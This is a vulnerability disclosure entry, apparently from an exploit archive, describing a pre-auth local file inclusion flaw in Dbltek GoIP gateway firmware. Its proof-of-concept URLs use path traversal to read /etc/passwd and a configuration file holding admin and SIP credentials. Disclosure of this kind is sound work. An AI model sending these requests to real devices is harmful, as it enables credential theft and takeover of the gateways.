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Dbltek GoIP GHSFVT-1.1-67-5 Local File Inclusion

Dbltek GoIP GHSFVT-1.1-67-5 Local File Inclusion
Posted Feb 21, 2022
Authored by Lassi Korhonen, Valtteri Lehtinen

Dbltek GoIP with firmware version GHSFVT-1.1-67-5 suffers from a local file inclusion vulnerability.

tags | exploit, local, file inclusion
SHA-256 | 0d6bacc2c1374df5d970bb3cd46b2c784a546df1614076f108665a82cba4a43f

Dbltek GoIP GHSFVT-1.1-67-5 Local File Inclusion

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# Exploit Title: Dbltek GoIP - Local File Inclusion
# Date: 20.02.2022
# Exploit Author: Valtteri Lehtinen & Lassi Korhonen
# Vendor Homepage: http://en.dbltek.com/index.html
# Software Link: -
# Version: GHSFVT-1.1-67-5 (firmware version)
# Tested on: Target is an IoT device

# Exploit summary
Dbltek GoIP-1 is a VoIP-GSM gateway device, which allows making calls and sending SMS messages using SIP.
The device has a webserver that contains two pre-auth Local File Inclusion vulnerabilities.

Using these, it is possible to download the device configuration file containing all device credentials (including admin panel credentials and SIP credentials) if the configuration file has been backed up.

It is probable that also other models and versions of Dbltek GoIP devices are affected.

Writeup: https://shufflingbytes.com/posts/hacking-goip-gsm-gateway/

# Proof of Concept
Assuming the device is available on IP 192.168.9.1.

Download /etc/passwd
http://192.168.9.1/default/en_US/frame.html?content=3D..%2f..%2f..%2f ..%2f..%2fetc%2fpasswd
http://192.168.9.1/default/en_US/frame.A100.html?sidebar=3D..%2f..%2f ..%2f..%2f..%2fetc%2fpasswd

Download device configuration file from /tmp/config.dat (requires that the configuration file has been backed up)
http://192.168.9.1/default/en_US/frame.html?content=3D..%2f..%2f..%2f..%2f..%2ftmp%2fconfig.dat
http://192.168.9.1/default/en_US/frame.A100.html?sidebar=3D..%2f..%2f..%2f..%2f..%2ftmp%2fconfig.dat

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